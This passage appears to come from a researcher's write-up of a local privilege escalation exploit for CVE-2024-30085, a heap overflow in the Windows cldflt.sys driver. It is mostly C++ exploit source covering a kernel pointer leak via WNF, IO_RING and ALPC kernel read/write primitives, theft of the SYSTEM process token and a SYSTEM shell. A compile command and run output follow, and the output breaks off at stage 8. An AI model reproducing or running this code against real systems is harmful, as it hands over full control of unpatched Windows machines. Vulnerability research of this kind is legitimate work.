    auto buffer = std::make_unique<BYTE[]>(querySize + 0x10);
    ULONG readSize = querySize;
    g_NtQueryWnfStateData(&g_wnf_names[g_victim_index], NULL, NULL, &stamp,
buffer.get(), &readSize);


    if (readSize > 0xFF0) {
        ULONG64 value = *(ULONG64*)(buffer.get() + 0xFF0);
        if (IsKernelPointer(value)) {
            g_leaked_kalpc = (PVOID)value;
            printf("[+] KERNEL POINTER LEAKED: 0x%p\n", g_leaked_kalpc);
            printf("[+] Stage 10 COMPLETE\n");
            return TRUE;
        }
    }

    printf("[-] No kernel pointer found\n");
    return FALSE;
}

//================================================================================
// STAGE 11: IO_RING SETUP (ALPC BOOTSTRAP)
//================================================================================

static BOOL Stage11_IoRingSetup(void) {
    printf("\n=======================================\n");
    printf("    STAGE 11: IO_RING SETUP (ALPC BOOTSTRAP)\n");
    printf("=======================================\n");

    // Prerequisites: only need first-wave outputs
    if (g_victim_index == -1) {
        printf("[-] Missing prerequisites for IO_RING setup (no victim WNF)\n");
        return FALSE;
    }

    // ===== Step A: Create IO_RING =====
    printf("[*] Step A: Creating IO_RING...\n");
    IORING_CREATE_FLAGS ioringFlags = {};
    ioringFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
    ioringFlags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;

    HRESULT hr = CreateIoRing(IORING_VERSION_3, ioringFlags, 0x10000, 0x20000,
&g_ioring_handle);
    if (FAILED(hr) || g_ioring_handle == NULL) {
        printf("[-] CreateIoRing failed: 0x%08X\n", (unsigned)hr);
        return FALSE;
    }
    printf("[+] IO_RING created: handle=0x%p\n", g_ioring_handle);
```

```
    // ===== Step B: Create named pipes for IO_RING data channels =====
    printf("[*] Step B: Creating named pipes for IO_RING data channels...\n");

    DWORD currentPid = GetCurrentProcessId();
    wchar_t pipeName[MAX_PATH];

    swprintf(pipeName, MAX_PATH, L"\\\\.\\pipe\\ioring_input_%lu", currentPid);

    g_input_pipe_server = CreateNamedPipeW(
        pipeName,
        PIPE_ACCESS_DUPLEX,
        PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
        1, 0x1000, 0x1000, 0, NULL
    );
    if (g_input_pipe_server == INVALID_HANDLE_VALUE) {
        printf("[-] CreateNamedPipe (input) failed: %lu\n", GetLastError());
        return FALSE;
    }

    g_input_pipe_client = CreateFileW(
        pipeName,
        GENERIC_READ | GENERIC_WRITE,
        0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
    );
    if (g_input_pipe_client == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFile (input client) failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Input pipe: server=0x%p, client=0x%p\n",
        g_input_pipe_server, g_input_pipe_client);

    swprintf(pipeName, MAX_PATH, L"\\\\.\\pipe\\ioring_output_%lu", currentPid);

    g_output_pipe_server = CreateNamedPipeW(
        pipeName,
        PIPE_ACCESS_DUPLEX,
        PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
        1, 0x1000, 0x1000, 0, NULL
    );
    if (g_output_pipe_server == INVALID_HANDLE_VALUE) {
        printf("[-] CreateNamedPipe (output) failed: %lu\n", GetLastError());
        return FALSE;
    }

    g_output_pipe_client = CreateFileW(
        pipeName,
        GENERIC_READ | GENERIC_WRITE,
        0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
    );
    if (g_output_pipe_client == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFile (output client) failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Output pipe: server=0x%p, client=0x%p\n",
        g_output_pipe_server, g_output_pipe_client);
```

```
    // ===== Step C: Find IORING_OBJECT kernel address =====
    printf("[*] Step C: Finding IORING_OBJECT kernel address...\n");
    g_ioring_object_addr = FindIoRingObjectAddress(g_ioring_handle);
    if (g_ioring_object_addr == 0 || !IsKernelPointer(g_ioring_object_addr)) {
        printf("[-] Failed to find IORING_OBJECT address\n");
        return FALSE;
    }
    printf("[+] IORING_OBJECT: 0x%016llX\n", (unsigned long long)g_ioring_object_addr);

    // ===== Step D: Allocate fake IOP_MC_BUFFER_ENTRY =====
    printf("[*] Step D: Allocating fake IOP_MC_BUFFER_ENTRY...\n");
    g_fake_buffer_entry = (PIOP_MC_BUFFER_ENTRY)VirtualAlloc(
        NULL, sizeof(IOP_MC_BUFFER_ENTRY),
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
    );
    if (!g_fake_buffer_entry) {
        printf("[-] VirtualAlloc for fake buffer entry failed\n");
        return FALSE;
    }
    memset(g_fake_buffer_entry, 0, sizeof(IOP_MC_BUFFER_ENTRY));
    g_fake_buffer_entry->Type = 0x0C02;
    g_fake_buffer_entry->Size = 0x80;
    g_fake_buffer_entry->ReferenceCount = 1;
    g_fake_buffer_entry->AccessMode = 1;
    g_fake_buffer_entry->Mdl = NULL;
    printf("[+] Fake IOP_MC_BUFFER_ENTRY at: 0x%p (Type=0x%04X, Size=0x%X)\n",
        g_fake_buffer_entry, g_fake_buffer_entry->Type, g_fake_buffer_entry->Size);

    // ===== Step E: Allocate fake RegBuffers array =====
    printf("[*] Step E: Allocating fake RegBuffers array...\n");
    g_fake_buffers_array = (PULONG64)VirtualAlloc(
        NULL, sizeof(ULONG64),
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
    );
    if (!g_fake_buffers_array) {
        printf("[-] VirtualAlloc for fake buffers array failed\n");
        return FALSE;
    }
    g_fake_buffers_array[0] = (ULONG64)g_fake_buffer_entry;
    printf("[+] Fake RegBuffers array at: 0x%p -> [0x%p]\n",
        g_fake_buffers_array, g_fake_buffer_entry);

    // ===== Step F: Use ALPC write to corrupt IORING_OBJECT+0xB0 =====
    printf("[*] Step F: Using ALPC write to corrupt IORING_OBJECT.RegBuffers...\n");

    ULONG64 ioring_target = g_ioring_object_addr +
IORING_OBJECT_REGBUFFERSCOUNT_OFFSET;
    printf("[*] ALPC write target: IORING_OBJECT+0xB0 = 0x%016llX\n",
        (unsigned long long)ioring_target);

    printf("[*] Setting up fake KALPC structures...\n");

    g_fake_kalpc_reserve_object = (BYTE*)VirtualAlloc(NULL, sizeof(KALPC_RESERVE) +
0x20, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    g_fake_kalpc_message_object = (BYTE*)VirtualAlloc(NULL, sizeof(KALPC_MESSAGE) +
0x20, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
```

```
    if (!g_fake_kalpc_reserve_object || !g_fake_kalpc_message_object) {
        printf("[-] Memory allocation failed for fake KALPC structures\n");
        return FALSE;
    }

    *(ULONG64*)(g_fake_kalpc_reserve_object + 0x00) = 0x0000000000000700;
    *(ULONG64*)(g_fake_kalpc_reserve_object + 0x08) = 0x0000000000000001;
    *(ULONG64*)(g_fake_kalpc_message_object + 0x08) = 0x0000000000000001;

    KALPC_RESERVE* fake_kalpc_reserve = (KALPC_RESERVE*)(g_fake_kalpc_reserve_object +
0x20);
    KALPC_MESSAGE* fake_kalpc_message = (KALPC_MESSAGE*)(g_fake_kalpc_message_object +
0x20);

    fake_kalpc_reserve->Size = 0x28;
    fake_kalpc_reserve->Message = fake_kalpc_message;

    fake_kalpc_message->Reserve = fake_kalpc_reserve;
    fake_kalpc_message->ExtensionBuffer = (PVOID)ioring_target;
    fake_kalpc_message->ExtensionBufferSize = 0x10;

    printf("[+] Fake KALPC_RESERVE: 0x%p\n", fake_kalpc_reserve);
    printf("[+] Fake KALPC_MESSAGE: 0x%p\n", fake_kalpc_message);
    printf("[+] ExtensionBuffer -> IORING_OBJECT+0xB0: 0x%016llX\n",
        (unsigned long long)ioring_target);

    printf("\n[*] Corrupting via first WNF overflow...\n");
    printf("[*] Victim WNF index: %d\n", g_victim_index);

    ULONG verifySize = 0;
    WNF_CHANGE_STAMP verifyStamp = 0;
    NTSTATUS verifyStatus = g_NtQueryWnfStateData(&g_wnf_names[g_victim_index], NULL,
NULL, &verifyStamp, NULL, &verifySize);
    printf("[*] Victim WNF status: 0x%08X, stamp: 0x%lX, size: 0x%lX\n", verifyStatus,
verifyStamp, verifySize);

    auto overflow_data = std::make_unique<BYTE[]>(0xFF8);
    memset(overflow_data.get(), 0, 0xFF8);
    memset(overflow_data.get(), 0x48, 0x200);

    *(ULONG64*)(overflow_data.get() + 0xFF0) = (ULONG64)fake_kalpc_reserve;

    printf("[*] Writing fake KALPC_RESERVE pointer 0x%p at offset 0xFF0\n",
fake_kalpc_reserve);

    NTSTATUS status = g_NtUpdateWnfStateData(
        &g_wnf_names[g_victim_index],
        overflow_data.get(), 0xFF8, NULL, NULL, CHANGE_STAMP_FIRST, 0
    );

    printf("[*] WNF update status: 0x%08X\n", status);
    if (status != 0) {
        printf("[-] WNF update failed: 0x%08X\n", status);
        return FALSE;
    }
```

```
    printf("[+] First WNF overflow complete - Handles array entry corrupted\n");

    printf("[*] Sending ALPC messages with IO_RING corruption payload...\n");
    printf("[*] pData[0] = 0x%016llX (RegBuffersCount=1)\n", (unsigned long long)1ULL);
    printf("[*] pData[1] = 0x%016llX (fake RegBuffers array)\n", (unsigned long
long)(ULONG_PTR)g_fake_buffers_array);

    ALPC_MESSAGE alpc_message;
    memset(&alpc_message, 0, sizeof(alpc_message));

    alpc_message.PortHeader.u1.s1.DataLength = 0x10;
    alpc_message.PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + 0x10;
    alpc_message.PortHeader.MessageId = (ULONG)(ULONG_PTR)g_saved_reserve_handle;

    ULONG_PTR* pData = (ULONG_PTR*)((BYTE*)&alpc_message + sizeof(PORT_MESSAGE));
    pData[0] = (ULONG_PTR)1ULL;
    pData[1] = (ULONG_PTR)g_fake_buffers_array;

    for (DWORD i = 0; i < ALPC_PORT_COUNT; i++) {
        if (g_alpc_ports[i] == NULL) continue;
        g_NtAlpcSendWaitReceivePort(g_alpc_ports[i], 0, (PPORT_MESSAGE)&alpc_message,
NULL, NULL, NULL, NULL, NULL);
    }

    printf("[+] ALPC messages sent\n");
    Sleep(100);

    // ===== Step G: Patch user-mode HIORING =====
    printf("[*] Step G: Patching user-mode HIORING...\n");
    BYTE* hioringPtr = (BYTE*)g_ioring_handle;
    *(PULONG)(hioringPtr + HIORING_OFFSET_BUFFER_ARRAY_SIZE) = 1;
    *(PVOID*)(hioringPtr + HIORING_OFFSET_REG_BUFFER_ARRAY) =
(PVOID)g_fake_buffers_array;
    printf("[+] HIORING patched: BufferArraySize=1, RegBufferArray=0x%p\n",
        g_fake_buffers_array);

    printf("[+] Stage 11 COMPLETE -- IO_RING read/write primitives established\n");
    return TRUE;
}

//============================================================================
// STAGE 12: READ KALPC_RESERVE VIA IO_RING
//============================================================================

static BOOL Stage12_ReadKalpcReserve(void) {
    printf("\n=======================================\n");
    printf("    STAGE 12: READ KALPC_RESERVE VIA IO_RING\n");
    printf("=======================================\n");

    if (g_leaked_kalpc == NULL) {
        printf("[-] No KALPC_RESERVE address available\n");
        return FALSE;
    }

    printf("[*] KALPC_RESERVE address: 0x%p\n", g_leaked_kalpc);
```

```
    printf("[*] Reading KALPC_RESERVE structure via IO_RING read...\n");

    BYTE kalpc_data[0x20] = { 0 };
    if (!IoRingReadKernel((ULONG64)g_leaked_kalpc, kalpc_data, 0x20)) {
        printf("[-] IoRingReadKernel failed -- IO_RING read primitive may not be
working\n");
        printf("[-] This means the ALPC bootstrap in Stage 11 may have failed\n");
        return FALSE;
    }

    printf("[+] IO_RING read succeeded -- primitive is WORKING!\n");

    ULONG64* data = (ULONG64*)kalpc_data;
    g_alpc_port_addr = data[0];
    g_alpc_handle_table_addr = data[1];
    g_alpc_message_addr = data[3];

    printf("[*] KALPC_RESERVE:\n");
    printf("    +0x00 OwnerPort:   0x%016llX\n", (unsigned long long)g_alpc_port_addr);
    printf("    +0x08 HandleTable: 0x%016llX\n", (unsigned long
long)g_alpc_handle_table_addr);
    printf("    +0x10 Handle:      0x%016llX\n", (unsigned long long)data[2]);
    printf("    +0x18 Message:     0x%016llX\n", (unsigned long
long)g_alpc_message_addr);

    if (!IsKernelPointer(g_alpc_port_addr)) {
        printf("[-] Invalid ALPC_PORT address: 0x%016llX\n", (unsigned long
long)g_alpc_port_addr);
        return FALSE;
    }

    printf("[+] ALPC_PORT: 0x%016llX\n", (unsigned long long)g_alpc_port_addr);
    printf("[+] Stage 12 COMPLETE -- KALPC_RESERVE read via IO_RING\n");
    return TRUE;
}

//============================================================================
// STAGE 13: DISCOVER EPROCESS AND TOKEN (VIA IO_RING READ)
//============================================================================

static BOOL Stage13_DiscoverEprocessAndToken(void) {
    printf("\n=======================================\n");
    printf("    STAGE 13: DISCOVER EPROCESS/TOKEN\n");
    printf("=======================================\n");

    printf("[+] ALPC_PORT: 0x%016llX\n", (unsigned long long)g_alpc_port_addr);

    BYTE alpc_port_data[0x200];
    if (!IoRingReadKernel(g_alpc_port_addr, alpc_port_data, sizeof(alpc_port_data))) {
        printf("[-] Failed to read ALPC_PORT via IO_RING\n");
        return FALSE;
    }

    g_eprocess_addr = *(ULONG64*)(alpc_port_data + 0x18);

    if (!IsKernelPointer(g_eprocess_addr)) {
```

```
        for (int offset = 0x10; offset <= 0x38; offset += 8) {
            ULONG64 candidate = *(ULONG64*)(alpc_port_data + offset);
            if (!IsKernelPointer(candidate)) continue;

            char test_name[16] = { 0 };
            if (IoRingReadKernel(candidate + EPROCESS_IMAGEFILENAME_OFFSET, test_name,
15)) {
                BOOL valid = TRUE;
                for (int j = 0; j < 15 && test_name[j]; j++) {
                    if (test_name[j] < 32 || test_name[j] >= 127) { valid = FALSE;
break; }
                }
                if (valid && test_name[0]) {
                    g_eprocess_addr = candidate;
                    printf("[+] EPROCESS: 0x%016llX (%s)\n", (unsigned long
long)candidate, test_name);
                    break;
                }
            }
        }
    }
    else {
        char name[16] = { 0 };
        IoRingReadKernel(g_eprocess_addr + EPROCESS_IMAGEFILENAME_OFFSET, name, 15);
        printf("[+] EPROCESS: 0x%016llX (%s)\n", (unsigned long long)g_eprocess_addr,
name);
    }

    if (!IsKernelPointer(g_eprocess_addr)) {
        printf("[-] Could not find EPROCESS\n");
        return FALSE;
    }

    DWORD our_pid = GetCurrentProcessId();
    printf("[*] Our PID: %lu\n", our_pid);

    ULONG64 current = g_eprocess_addr;
    ULONG64 start = g_eprocess_addr;
    int count = 0;

    do {
        BYTE chunk[0x180];
        if (!IoRingReadKernel(current + 0x440, chunk, sizeof(chunk))) break;

        ULONG pid = *(ULONG*)(chunk + 0);
        ULONG64 flink = *(ULONG64*)(chunk + 8);
        ULONG64 token_raw = *(ULONG64*)(chunk + 0x78);
        char name[16] = { 0 };
        memcpy(name, chunk + 0x168, 15);

        ULONG64 token = token_raw & ~0xFULL;

        if (pid == 4) {
            g_system_eprocess = current;
            g_system_token = token;
            g_system_token_raw = token_raw;
```

```
            printf("[+] SYSTEM EPROCESS: 0x%016llX\n", (unsigned long long)current);
            printf("[+] SYSTEM Token: 0x%016llX (raw: 0x%016llX)\n",
                (unsigned long long)token, (unsigned long long)token_raw);
        }
        if (pid == our_pid) {
            g_our_eprocess = current;
            g_our_token = token;
            printf("[+] Our EPROCESS: 0x%016llX\n", (unsigned long long)current);
            printf("[+] Our Token: 0x%016llX\n", (unsigned long long)token);
        }
        if (_stricmp(name, "winlogon.exe") == 0) {
            g_winlogon_pid = pid;
            printf("[+] Winlogon PID: %lu\n", pid);
        }

        if (g_system_eprocess && g_our_eprocess && g_winlogon_pid) break;
        if (!IsKernelPointer(flink)) break;

        current = flink - EPROCESS_ACTIVEPROCESSLINKS_OFFSET;
        if (current == start) break;
        count++;
    } while (count < 500);

    if (!g_system_eprocess || !g_our_eprocess) {
        printf("[-] Failed to find required processes\n");
        return FALSE;
    }

    if (!IsKernelPointer(g_system_token) || !IsKernelPointer(g_our_token)) {
        printf("[-] Token values don't look valid\n");
        printf("    System token raw: 0x%016llX\n", (unsigned long
long)g_system_token);
        printf("    Our token raw: 0x%016llX\n", (unsigned long long)g_our_token);
        return FALSE;
    }

    if (g_winlogon_pid == 0) {
        printf("[-] Warning: winlogon.exe not found during walk\n");
    }

    printf("[+] Stage 13 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 14: TOKEN STEALING VIA IO_RING WRITE
//============================================================================

static BOOL Stage14_IoRingTokenStealing(void) {
    printf("\n=======================================\n");
    printf("    STAGE 14: TOKEN STEALING VIA IO_RING\n");
    printf("=======================================\n");

    if (g_ioring_handle == NULL || g_our_eprocess == 0 ||
        g_system_token_raw == 0 || g_fake_buffer_entry == NULL) {
        printf("[-] Missing prerequisites for IO_RING token stealing\n");
```

```
        return FALSE;
    }

    ULONG64 token_target = g_our_eprocess + EPROCESS_TOKEN_OFFSET;
    printf("[*] Token stealing: overwrite EPROCESS+0x4B8 with SYSTEM token\n");
    printf("[*] Target: 0x%016llX (our EPROCESS+0x4B8)\n", (unsigned long
long)token_target);
    printf("[*] Using IO_RING write -- EXACTLY 8 bytes (no adjacent field
corruption)\n");

    // ===== Step A: Pre-read current token via IO_RING read (reliable) =====
    printf("\n[*] Step A: Reading current EPROCESS+0x4B8 via IO_RING read...\n");
    ULONG64 pre_token = 0;
    ULONG64 pre_adjacent = 0;
    BOOL readOk1 = IoRingReadKernel64(token_target, &pre_token);
    BOOL readOk2 = IoRingReadKernel64(token_target + 8, &pre_adjacent);

    if (readOk1 && readOk2) {
        printf("[*] Current token:       0x%016llX (stripped: 0x%016llX)\n",
            (unsigned long long)pre_token, (unsigned long long)(pre_token & ~0xFULL));
        printf("[*] Adjacent field (+0x4C0): 0x%016llX (should be UNTOUCHED after
write)\n",
            (unsigned long long)pre_adjacent);
    }
    else {
        printf("[!] Warning: Could not pre-read token values\n");
    }

    // ===== Step B: Write SYSTEM token via IoRingWriteKernel =====
    printf("[*] Step B: Writing SYSTEM token via IO_RING...\n");
    printf("[*] SYSTEM token raw: 0x%016llX\n", (unsigned long
long)g_system_token_raw);

    if (!IoRingWriteKernel(token_target, &g_system_token_raw, 8)) {
        printf("[-] IoRingWriteKernel failed -- token write unsuccessful\n");
        return FALSE;
    }
    printf("[+] IO_RING write completed (8 bytes to EPROCESS+0x4B8)\n");

    Sleep(100);

    // ===== Step C: Verify token replacement via IO_RING read (reliable) =====
    printf("[*] Step C: Verifying token replacement via IO_RING read...\n");
    ULONG64 post_token = 0;
    ULONG64 post_adjacent = 0;
    IoRingReadKernel64(token_target, &post_token);
    IoRingReadKernel64(token_target + 8, &post_adjacent);

    ULONG64 post_stripped = post_token & ~0xFULL;
    printf("[*] EPROCESS+0x4B8 AFTER:  0x%016llX (stripped: 0x%016llX)\n",
        (unsigned long long)post_token, (unsigned long long)post_stripped);
    printf("[*] EPROCESS+0x4C0 AFTER:  0x%016llX\n",
        (unsigned long long)post_adjacent);

    // Step D: Compare token
    if (post_stripped == g_system_token) {
```

```
        printf("[+] VERIFIED: Token successfully replaced with SYSTEM token!\n");
        printf("[+] Our process now runs with SYSTEM identity\n");
    }
    else {
        printf("[!] Token mismatch -- expected 0x%016llX, got 0x%016llX\n",
            (unsigned long long)g_system_token, (unsigned long long)post_stripped);
        printf("[!] Stage 15 SID check will be the definitive verification\n");
    }

    // Step E: Verify adjacent field UNTOUCHED (8-byte precision proof)
    if (readOk1 && readOk2) {
        if (post_adjacent == pre_adjacent) {
            printf("[+] EPROCESS+0x4C0 UNTOUCHED: 0x%016llX == 0x%016llX\n",
                (unsigned long long)pre_adjacent, (unsigned long long)post_adjacent);
            printf("[+] 8-byte IO_RING write precision CONFIRMED!\n");
        }
        else {
            printf("[!] WARNING: EPROCESS+0x4C0 changed from 0x%016llX to 0x%016llX\n",
                (unsigned long long)pre_adjacent, (unsigned long long)post_adjacent);
        }
    }

    printf("[+] Stage 14 COMPLETE -- Token stolen via IO_RING write\n");
    return TRUE;
}

//==============================================================================
// STAGE 15: SPAWN SYSTEM SHELL (DIRECT -- NO PARENT SPOOFING)
//==============================================================================

static BOOL Stage15_SpawnSystemShell(void) {
    printf("\n=======================================\n");
    printf("    STAGE 15: SPAWN SYSTEM SHELL\n");
    printf("=======================================\n");

    printf("[*] Token already stolen via IO_RING -- spawning shell directly\n");
    printf("[*] No SeDebugPrivilege or parent spoofing needed\n");

    STARTUPINFOW si = {};
    PROCESS_INFORMATION pi = {};
    si.cb = sizeof(STARTUPINFOW);

    WCHAR sysDir[MAX_PATH];
    GetSystemDirectoryW(sysDir, MAX_PATH);
    WCHAR cmdLine[MAX_PATH];
    swprintf(cmdLine, MAX_PATH, L"%s\\cmd.exe", sysDir);

    BOOL result = CreateProcessW(NULL, cmdLine, NULL, NULL, FALSE,
        CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

    if (!result) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return FALSE;
    }

    printf("[+] Process created, PID: %lu\n", pi.dwProcessId);
```

```
    HANDLE hNewToken = NULL;
    if (OpenProcessToken(pi.hProcess, TOKEN_QUERY, &hNewToken)) {
        BYTE buf[256];
        DWORD len = 0;
        if (GetTokenInformation(hNewToken, TokenUser, buf, sizeof(buf), &len)) {
            PSID sid = ((TOKEN_USER*)buf)->User.Sid;
            LPWSTR sidStr = NULL;
            if (ConvertSidToStringSidW(sid, &sidStr)) {
                printf("[+] Shell token SID: %ls\n", sidStr);
                if (wcscmp(sidStr, L"S-1-5-18") == 0) {
                    printf("\n[+] ============================================\n");
                    printf("[+]   CONFIRMED: SYSTEM SHELL SPAWNED!\n");
                    printf("[+]   PID: %lu | SID: S-1-5-18\n", pi.dwProcessId);
                    printf("[+] ============================================\n");
                }
                else {
                    printf("[-] WARNING: Shell is NOT running as SYSTEM\n");
                    printf("[-] SID: %ls\n", sidStr);
                }
                LocalFree(sidStr);
            }
        }
        CloseHandle(hNewToken);
    }

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    printf("[+] Stage 15 COMPLETE\n");
    return TRUE;
}

//============================================================================
// CLEANUP
//============================================================================

static void Cleanup(void) {
    printf("\n======================================\n");
    printf("    CLEANUP\n");
    printf("======================================\n");

    if (g_ioring_handle && g_ioring_object_addr && g_fake_buffer_entry &&
        g_input_pipe_server && g_input_pipe_server != INVALID_HANDLE_VALUE &&
        g_input_pipe_client && g_input_pipe_client != INVALID_HANDLE_VALUE) {
        printf("[*] IO_RING self-cleanup: zeroing RegBuffersCount + RegBuffers (single
16-byte write)...\n");

        g_fake_buffer_entry->Address = (PVOID)(g_ioring_object_addr +
IORING_OBJECT_REGBUFFERSCOUNT_OFFSET);
        g_fake_buffer_entry->Length = 16;

        BYTE zeroBlock[16] = { 0 };
        DWORD bytesWritten = 0;
        WriteFile(g_input_pipe_server, zeroBlock, 16, &bytesWritten, NULL);
```

```
        IORING_HANDLE_REF fileRef = IoRingHandleRefFromHandle(g_input_pipe_client);
        IORING_BUFFER_REF bufferRef = IoRingBufferRefFromIndexAndOffset(0, 0);
        BuildIoRingReadFile(g_ioring_handle, fileRef, bufferRef, 16, 0, 0,
IOSQE_FLAGS_NONE);

        UINT32 submitted = 0;
        SubmitIoRing(g_ioring_handle, 1, 5000, &submitted);

        IORING_CQE cqe = {};
        PopIoRingCompletion(g_ioring_handle, &cqe);
        printf("[+] IO_RING RegBuffers zeroed (CQE: 0x%08X, single op, safe to
close)\n",
            (unsigned)cqe.ResultCode);

        BYTE* hioringPtr = (BYTE*)g_ioring_handle;
        *(PULONG)(hioringPtr + HIORING_OFFSET_BUFFER_ARRAY_SIZE) = 0;
        *(PVOID*)(hioringPtr + HIORING_OFFSET_REG_BUFFER_ARRAY) = NULL;
    }

    if (g_ioring_handle) {
        CloseIoRing(g_ioring_handle);
        g_ioring_handle = NULL;
    }
    if (g_input_pipe_server && g_input_pipe_server != INVALID_HANDLE_VALUE) {
        CloseHandle(g_input_pipe_server);
        g_input_pipe_server = NULL;
    }
    if (g_input_pipe_client && g_input_pipe_client != INVALID_HANDLE_VALUE) {
        CloseHandle(g_input_pipe_client);
        g_input_pipe_client = NULL;
    }
    if (g_output_pipe_server && g_output_pipe_server != INVALID_HANDLE_VALUE) {
        CloseHandle(g_output_pipe_server);
        g_output_pipe_server = NULL;
    }
    if (g_output_pipe_client && g_output_pipe_client != INVALID_HANDLE_VALUE) {
        CloseHandle(g_output_pipe_client);
        g_output_pipe_client = NULL;
    }
    if (g_fake_buffer_entry) {
        VirtualFree(g_fake_buffer_entry, 0, MEM_RELEASE);
        g_fake_buffer_entry = NULL;
    }
    if (g_fake_buffers_array) {
        VirtualFree(g_fake_buffers_array, 0, MEM_RELEASE);
        g_fake_buffers_array = NULL;
    }

    if (g_alpc_ports) {
        printf("[*] Closing %u ALPC ports...\n", ALPC_PORT_COUNT);
        for (DWORD i = 0; i < ALPC_PORT_COUNT; i++) {
            if (g_alpc_ports[i]) {
                CloseHandle(g_alpc_ports[i]);
                g_alpc_ports[i] = NULL;
            }
        }
```

```
        printf("[+] ALPC ports closed\n");
    }

    if (g_fake_kalpc_reserve_object) {
        VirtualFree(g_fake_kalpc_reserve_object, 0, MEM_RELEASE);
        g_fake_kalpc_reserve_object = NULL;
    }
    if (g_fake_kalpc_message_object) {
        VirtualFree(g_fake_kalpc_message_object, 0, MEM_RELEASE);
        g_fake_kalpc_message_object = NULL;
    }

    if (g_wnf_pad_names) {
        for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT; i++)
            g_NtDeleteWnfStateName(&g_wnf_pad_names[i]);
    }
    if (g_wnf_names && g_wnf_active) {
        for (DWORD i = 0; i < WNF_SPRAY_COUNT; i++)
            if (g_wnf_active[i]) g_NtDeleteWnfStateName(&g_wnf_names[i]);
    }
    SetFileAttributesW(g_filePath, FILE_ATTRIBUTE_NORMAL);
    DeleteFileW(g_filePath);

    if (g_syncRootPath[0]) CfUnregisterSyncRoot(g_syncRootPath);

    printf("[+] Cleanup complete\n");
}

//==========================================================================
// MAIN
//==========================================================================

int wmain(void) {

printf("============================================================================\n
");
    printf("  CVE-2024-30085 Exploit | IO_RING Edition 02\n");
    printf("  Privilege Escalation via cldflt.sys Heap-based Buffer Overflow\n");
    printf("  IO_RING Read+Write (single overflow) bootstrapped by ALPC Write\n");

printf("============================================================================\n
");

    if (!InitializeNtdllFunctions() || !InitializeSyncRoot()) {
        printf("[-] Initialization failed\n");
        return -1;
    }

    BOOL success = TRUE;

    if (success) success = Stage01_Defragmentation();
    if (success) success = Stage02_CreateWnfNames();
    if (success) success = Stage03_AlpcPorts();
    if (success) success = Stage04_UpdateWnfPaddingData();
    if (success) success = Stage05_UpdateWnfStateData();
    if (success) success = Stage06_CreateHoles();
```

```
    if (success) success = Stage07_PlaceOverflow();
    if (success) success = Stage08_TriggerOverflow();
    if (success) success = Stage09_AlpcReserves();
    if (success) success = Stage10_LeakKernelPointer();

    if (!g_leaked_kalpc) {
        printf("\n[-] FIRST WAVE FAILED - Try again\n");
        getchar();
        Cleanup();
        return -1;
    }

    printf("\n=== FIRST WAVE SUCCESS: Leaked 0x%p ===\n", g_leaked_kalpc);

    if (success) success = Stage11_IoRingSetup();
    if (success) success = Stage12_ReadKalpcReserve();
    if (success) success = Stage13_DiscoverEprocessAndToken();
    if (success) success = Stage14_IoRingTokenStealing();
    if (success) success = Stage15_SpawnSystemShell();


printf("\n================================================================================
\n");
    printf("  %s\n", success ? "EXPLOIT SUCCESSFUL!" : "EXPLOIT INCOMPLETE");

printf("================================================================================\n
");

    printf("\n[*] Press ENTER to cleanup and exit...\n");
    getchar();
    Cleanup();

    return success ? 0 : -1;
}
```

This code can be compiled using Visual Studio 2022/2026 or Visual Studio Code, which demands a compilation like as follows:

- `cl.exe /nologo /W4 /O2 /D WIN32 /D _UNICODE /D UNICODE exploit_ioring_edition_02.c /link /OUT:exploit_ioring_edition_02.exe Cldapi.lib ntdll.lib onecore.lib`

The output of the exploit is as follows:

```
Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.

C:\Users\aborges> whoami
desktop-31fh7lh\aborges

C:\Users\aborges>cd C:\Users\aborges\Desktop\RESEARCH

C:\Users\aborges\Desktop\RESEARCH>exploit_ioring_edition_02.exe

================================================================================
  CVE-2024-30085 Exploit | IO_RING Edition 02
  Privilege Escalation via cldflt.sys Heap-based Buffer Overflow
  IO_RING Read+Write (single overflow) bootstrapped by ALPC Write
```

```
========================================================================
[+] All ntdll functions resolved
[+] Sync root registered: C:\Users\aborges\AppData\Roaming\MySyncRoot

=======================================
    STAGE 01: DEFRAGMENTATION
=======================================
[+] Round 1: 5000/5000 pipes
[+] Round 2: 5000/5000 pipes
[+] Waiting for the memory to stabilize...
[+] Stage 01 COMPLETE

=======================================
    STAGE 02: CREATE WNF NAMES
=======================================
[+] Created 20480 padding WNF names
[+] Created 2048 actual WNF names
[+] Waiting for the memory to stabilize...
[+] Stage 02 COMPLETE

=======================================
    STAGE 03: ALPC PORTS
=======================================
[+] Created 2048 ALPC ports
[+] Waiting for the memory to stabilize...
[+] Stage 03 COMPLETE

=======================================
    STAGE 04: UPDATE WNF PADDING DATA
=======================================
[+] Updated padding WNF data
[+] Waiting for the memory to stabilize...
[+] Stage 04 COMPLETE

=======================================
    STAGE 05: UPDATE WNF STATE DATA
=======================================
[+] Updated 2048 actual WNF objects
[+] Waiting for the memory to stabilize...
[+] Stage 05 COMPLETE

=======================================
    STAGE 06: CREATE HOLES
=======================================
[+] Created 1024 holes
[+] Waiting for the memory to stabilize...
[+] Stage 06 COMPLETE

=======================================
    STAGE 07: PLACE OVERFLOW BUFFER
=======================================
[+] Reparse point set (ChangeStamp=0xC0DE)
[+] Stage 07 COMPLETE

=======================================
    STAGE 08: TRIGGER OVERFLOW
=======================================
